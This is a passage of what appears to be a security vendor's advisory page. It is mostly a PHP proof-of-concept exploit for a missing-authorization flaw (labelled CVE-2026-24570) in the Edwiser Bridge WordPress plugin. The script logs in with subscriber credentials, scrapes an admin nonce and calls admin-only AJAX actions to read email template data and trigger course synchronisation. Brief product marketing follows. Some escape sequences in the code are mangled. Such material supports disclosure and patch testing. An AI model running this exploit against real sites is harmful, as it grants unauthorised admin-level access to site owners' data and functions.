- Nonce value from the plugin's admin interface
*/

$target_url = 'https://target-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize session and get authentication cookies
function get_wp_auth_cookies($base_url, $username, $password) {
    $login_url = $base_url . '/wp-login.php';
    $admin_url = $base_url . '/wp-admin/';
    
    // Create temporary cookie file
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_24570');
    
    // Perform login
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $username,
            'pwd' => $password,
            'wp-submit' => 'Log In',
            'redirect_to' => $admin_url,
            'testcookie' => '1'
        ]),
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    return $cookie_file;
}

// Extract nonce from Edwiser Bridge admin page
function get_edwiser_nonce($base_url, $cookie_file) {
    $settings_url = $base_url . '/wp-admin/admin.php?page=eb-settings';
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $settings_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    
    $html = curl_exec($ch);
    curl_close($ch);
    
    // Extract nonce from page (simplified pattern - real implementation would need proper parsing)
    preg_match('/admin_nonce.*value="([a-f0-9]+)"/', $html, $matches);
    return $matches[1] ?? null;
}

// Exploit vulnerable AJAX endpoint
function exploit_missing_auth($base_url, $cookie_file, $action, $nonce, $extra_params = []) {
    $ajax_url = $base_url . '/wp-admin/admin-ajax.php';
    
    $params = array_merge([
        'action' => $action,
        'admin_nonce' => $nonce
    ], $extra_params);
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $ajax_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $params,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return [
        'code' => $http_code,
        'response' => json_decode($response, true)
    ];
}

// Main execution
$cookies = get_wp_auth_cookies($target_url, $username, $password);
$nonce = get_edwiser_nonce($target_url, $cookies);

if ($nonce) {
    echo "[+] Obtained nonce: $noncen";
    
    // Test 1: Get email template data (should require admin)
    echo "[+] Testing email template access...n";
    $result = exploit_missing_auth($target_url, $cookies, 'wdm_eb_get_template_data', $nonce, [
        'tmpl_name' => 'course_access_expiryd'
    ]);
    
    if ($result['code'] == 200 && !isset($result['response']['message'])) {
        echo "[!] SUCCESS: Subscriber accessed email template datan";
        print_r($result['response']);
    } else {
        echo "[-] Failed or patchedn";
    }
    
    // Test 2: Trigger course synchronization (should require admin)
    echo "n[+] Testing course synchronization...n";
    $result = exploit_missing_auth($target_url, $cookies, 'eb_course_synchronization_initiater', $nonce, [
        '_wpnonce_field' => $nonce  // Different nonce parameter for this action
    ]);
    
    if ($result['code'] == 200) {
        echo "[!] SUCCESS: Subscriber triggered course synchronizationn";
    }
    
} else {
    echo "[-] Failed to obtain noncen";
}

// Cleanup
if (file_exists($cookies)) {
    unlink($cookies);
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School